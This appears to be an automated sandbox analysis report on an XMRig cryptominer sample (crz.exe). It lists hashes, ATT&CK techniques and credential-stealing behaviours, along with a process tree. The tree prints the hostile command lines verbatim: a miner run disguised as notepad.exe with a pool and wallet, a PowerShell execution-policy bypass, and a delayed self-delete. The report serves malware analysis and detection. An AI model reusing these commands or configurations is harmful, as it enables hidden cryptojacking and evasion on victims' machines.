xmrig | df0201cd1ef8af6a7fd35f5bec10abdcde6822db6218df402ea23ec60ddbeccf

Analysis

max time kernel
149s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 17:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
crz.exe
Size 4.0MB
Sample260808-v6x2faef86
SHA256 df0201cd1ef8af6a7fd35f5bec10abdcde6822db6218df402ea23ec60ddbeccf
MD5 5da9acd60eb74cbfedc9614b20c49593
SHA1 c406a75df15964c7473b8e7010cca82d648f1029
SHA512 294b1eceb93c8ec1f285c700efba19e60f5f3c139706ae448009a77119bf3096e5f67e0c7034767335a2db890d432975c9c2108820b3178f99bf05e9cadfe7c8
SSDEEP 49152:IjwWy+mle3+Zxhy+gtV0W/mlXKb9iwaYSbgw7gOykcY:IiR0dQyb9lybbXykb
TLSH
T1EB165A07BC9548F9D4A9A331C9B74252B674BC085B3273D72EA0AEB82F727C06D35B54
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence spyware stealer

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000c00000001c570-48.dat	family_xmrig
behavioral2/files/0x000c00000001c570-48.dat	xmrig

Downloads MZ/PE file 1 IoCs

flow	pid	Process
12	4492	crz.exe

Executes dropped EXE 2 IoCs

pid	Process
932	dkkAf6Rl0g3r.exe
5532	cloudservice33.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3760	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	crz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	crz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	cloudservice33.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	cloudservice33.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4680	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4492	crz.exe
4492	crz.exe
3760	powershell.exe
3760	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	powershell.exe
Token: SeSecurityPrivilege	3760	powershell.exe
Token: SeTakeOwnershipPrivilege	3760	powershell.exe
Token: SeLoadDriverPrivilege	3760	powershell.exe
Token: SeSystemProfilePrivilege	3760	powershell.exe
Token: SeSystemtimePrivilege	3760	powershell.exe
Token: SeProfSingleProcessPrivilege	3760	powershell.exe
Token: SeIncBasePriorityPrivilege	3760	powershell.exe
Token: SeCreatePagefilePrivilege	3760	powershell.exe
Token: SeBackupPrivilege	3760	powershell.exe
Token: SeRestorePrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeSystemEnvironmentPrivilege	3760	powershell.exe
Token: SeRemoteShutdownPrivilege	3760	powershell.exe
Token: SeUndockPrivilege	3760	powershell.exe
Token: SeManageVolumePrivilege	3760	powershell.exe
Token: 33	3760	powershell.exe
Token: 34	3760	powershell.exe
Token: 35	3760	powershell.exe
Token: 36	3760	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	powershell.exe
Token: SeSecurityPrivilege	3760	powershell.exe
Token: SeTakeOwnershipPrivilege	3760	powershell.exe
Token: SeLoadDriverPrivilege	3760	powershell.exe
Token: SeSystemProfilePrivilege	3760	powershell.exe
Token: SeSystemtimePrivilege	3760	powershell.exe
Token: SeProfSingleProcessPrivilege	3760	powershell.exe
Token: SeIncBasePriorityPrivilege	3760	powershell.exe
Token: SeCreatePagefilePrivilege	3760	powershell.exe
Token: SeBackupPrivilege	3760	powershell.exe
Token: SeRestorePrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeSystemEnvironmentPrivilege	3760	powershell.exe
Token: SeRemoteShutdownPrivilege	3760	powershell.exe
Token: SeUndockPrivilege	3760	powershell.exe
Token: SeManageVolumePrivilege	3760	powershell.exe
Token: 33	3760	powershell.exe
Token: 34	3760	powershell.exe
Token: 35	3760	powershell.exe
Token: 36	3760	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 5712	4492	crz.exe	89
PID 4492 wrote to memory of 5712	4492	crz.exe	89
PID 4492 wrote to memory of 2272	4492	crz.exe	92
PID 4492 wrote to memory of 2272	4492	crz.exe	92
PID 4492 wrote to memory of 2584	4492	crz.exe	95
PID 4492 wrote to memory of 2584	4492	crz.exe	95
PID 4492 wrote to memory of 3732	4492	crz.exe	99
PID 4492 wrote to memory of 3732	4492	crz.exe	99
PID 4492 wrote to memory of 932	4492	crz.exe	102
PID 932 wrote to memory of 3760	932	dkkAf6Rl0g3r.exe	103
PID 932 wrote to memory of 5532	932	dkkAf6Rl0g3r.exe	106
PID 932 wrote to memory of 2620	932	dkkAf6Rl0g3r.exe	107
PID 2620 wrote to memory of 4680	2620	cmd.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\crz.exe
"C:\Users\Admin\AppData\Local\Temp\crz.exe"
1⤵
- Downloads MZ/PE file
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:5712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:3732
- C:\Users\Admin\AppData\Roaming\dkkAf6Rl0g3r.exe
  "C:\Users\Admin\AppData\Roaming\dkkAf6Rl0g3r.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3760
- - C:\Users\Admin\AppData\Roaming\Google\Chrome\Diagnostics\cloudservice33.exe
    "C:\Users\Admin\AppData\Roaming\Google\Chrome\Diagnostics\cloudservice33.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:5532
  - - C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe" --donate-level 3 -o pool.hashvault.pro:443 -u 48j1pcisUqL7a19Ui4HD2sMoywGgkfSY47rPFPwaJNMiG3CAbNrNjxRTg1HxCKnBYfjp8Y2WnosgD7w7EuHQJKfSJs9RFti -p 0408 --tls --cpu-max-threads-hint=80 -a rx/0 --http-port 8888
      4⤵
      PID:4816
- - C:\Windows\system32\cmd.exe
    /c timeout /t 300 /nobreak >nul & del /f /q "C:\Users\Admin\AppData\Roaming\Google\Chrome\Diagnostics\cloudservice33.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2620
  - - C:\Windows\system32\timeout.exe
      timeout /t 300 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4680

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3820

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4364

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:936

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5172

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1284

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4436

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1900

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5992

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C4F86344-1A9B-6058-77CC-73A08FD4CB68.txt

Path C:\ProgramData\C4F86344-1A9B-6058-77CC-73A08FD4CB68.txt
Size 64B
SHA256 a1c47b42c505b502619c25b521a0621bb8468ff5b45d635ea265d9dfa55f417c
MD5 11783b37163aec57bb07d451238ba80d
SHA1 fd090778d4e0c605f01a5c7d892b798b291158b0
SHA512 6febf806976d208a357d149131ffae1a3a3448eb8016748a82ab5bb4bd3926ef29f1482245f18383f6b26eb56dddcdbc1a041a65c9b49a2060d1b6776159d14b
TLSH
T163A002D970C619E1406F6596E54A1912102B674DC17B100CD3CEBD52455F747555281D
MD5 SHA1 SHA512 TLSH

Submit Download

cloudservice33.exe

Path C:\Users\Admin\AppData\Roaming\Google\Chrome\Diagnostics\cloudservice33.exe
Size 7.2MB
SHA256 8661075ff25b12749fc60e71884bf91e1574c94b1837987b0f07a86fb45a7ed6
MD5 d4022fd6d44a6b3a62a653126c175485
SHA1 0ba5f3af266b8d3352b6e89e5151c19e20daafdb
SHA512 b4a648045b06e3c88539e32ed35d49c98f742d7b0b0702d8dc2c9a1c7e891b9b7b56d86606fffef652c0e0eaca37cca1235b82360257e0cbee66b86336f3d79d
SSDEEP 98304:EueL65o3zC6Ob2cUl/6pRedsp/KepIKJaz3eHp+ee6Mjr:Lu65QzCt6cUIp+spiep70qHpNcjr
TLSH
T118768C57A2A540E8C87BC178CA865633E7B1B8155370ABDF16A4E7361F33AD01E3E724
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dkkAf6Rl0g3r.exe

Path C:\Users\Admin\AppData\Roaming\dkkAf6Rl0g3r.exe
Size 5.8MB
SHA256 f3565d9979a9cd65789239e303d7433fbf63a0fee135b29e19f46add36805273
MD5 cf336fadffb75a26e2015e497554eff4
SHA1 0f3daa1010caa828748471f8fa313842d2772829
SHA512 a05b3aaedb8fb0bfd0449cff28f722dc359d480f14635f5e8f9601023fca0bc1c635d8eb23840726ee35b9729f41da1fba3a1d9bd41d9028751edc1abf97d5ac
SSDEEP 98304:CmeMNtskcptYWH41bfgTpbKA0X5T50tb4NpjbM2NzWE6:C+TLWHMg2AcmRGb
TLSH
T1C656CF07ECA558FAD1AAA235897299537B70BC481F3163DB2F50B6782FB2BD05C79304
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3760-39-0x000001CDAC010000-0x000001CDAC032000-memory.dmp

Download

memory/4492-6-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-7-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-4-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-3-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-2-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-10-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-8-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-1-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-0-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-5-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-16-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-17-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-11-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-35-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-36-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-12-0x0000000140000000-0x00000001400D7000-memory.dmp

Download

memory/4492-13-0x0000000140000000-0x00000001400D7000-memory.dmp

Download